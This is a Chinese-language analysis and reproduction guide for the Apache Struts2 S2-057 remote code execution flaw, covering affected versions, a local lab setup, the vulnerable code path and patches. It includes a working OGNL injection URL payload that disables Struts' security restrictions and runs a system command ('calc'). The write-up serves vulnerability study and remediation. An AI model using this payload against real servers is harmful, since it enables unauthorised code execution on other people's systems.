Struts2 s2-057远程代码执行漏洞分析
字数 1446 2025-08-06 08:35:25
Struts2 s2-057远程代码执行漏洞分析与复现
一、漏洞描述
Struts2 s2-057是一个严重的远程代码执行漏洞,当满足以下两个条件时可以被利用:
struts.mapper.alwaysSelectFullNamespace设置为true- package标签页以及result的param标签页的namespace值缺失或使用了通配符
在这种情况下,攻击者可以控制namespace值,该值最终会被带入OGNL语句执行,从而导致远程代码执行。
二、受影响版本
- Apache Struts 2.3 - Struts 2.3.34
- Apache Struts 2.5 - Struts 2.5.16
三、环境搭建
- 下载Struts 2.3.34:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
- 修改配置文件
struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
- 在
struts.xml中添加:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
- 添加Tomcat后运行
四、漏洞复现
攻击点一:Redirect action
- 访问以下URL触发漏洞:
http://localhost:8081/${(111+111)}/actionChain1.action
- 执行计算器的POC:
/struts2_showcase_war_exploded/showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action
攻击点二:Postback result
- 修改
struts.actionchaing.xml内容为使用postback result - 访问类似URL触发漏洞
五、漏洞分析
Redirect action攻击流程
- 请求进入
DefaultActionInvocation.executeResult() - 进入
ServletActionRedirectResult.execute() - 通过
DefaultActionProxy.getNamespace()获取namespace值 - 进入
DefaultActionMapper.getUriFromActionMapping()和handleNamespace()处理namespace - 最终在
StrutsResultSupport.doExecute()中执行OGNL表达式
Postback result攻击流程
- 请求进入
DefaultActionInvocation.executeResult() - 进入
PostbackResult.execute()和makePostbackUri() - 同样通过
DefaultActionMapper处理namespace - 最终在
StrutsResultSupport.doExecute()中执行OGNL表达式
六、修复建议
官方补丁
升级到以下版本:
- Apache Struts 2.3.35
- Struts 2.5.17
下载地址:https://struts.apache.org/download.cgi#struts2517
手工修复
- 修改配置文件:
- 固定package标签页以及result的param标签页的namespace值
- 禁止使用通配符
- 将
struts.mapper.alwaysSelectFullNamespace设置为false(默认值)
七、参考链接
- https://www.freebuf.com/vuls/182101.html
- https://xz.aliyun.com/t/2618#toc-5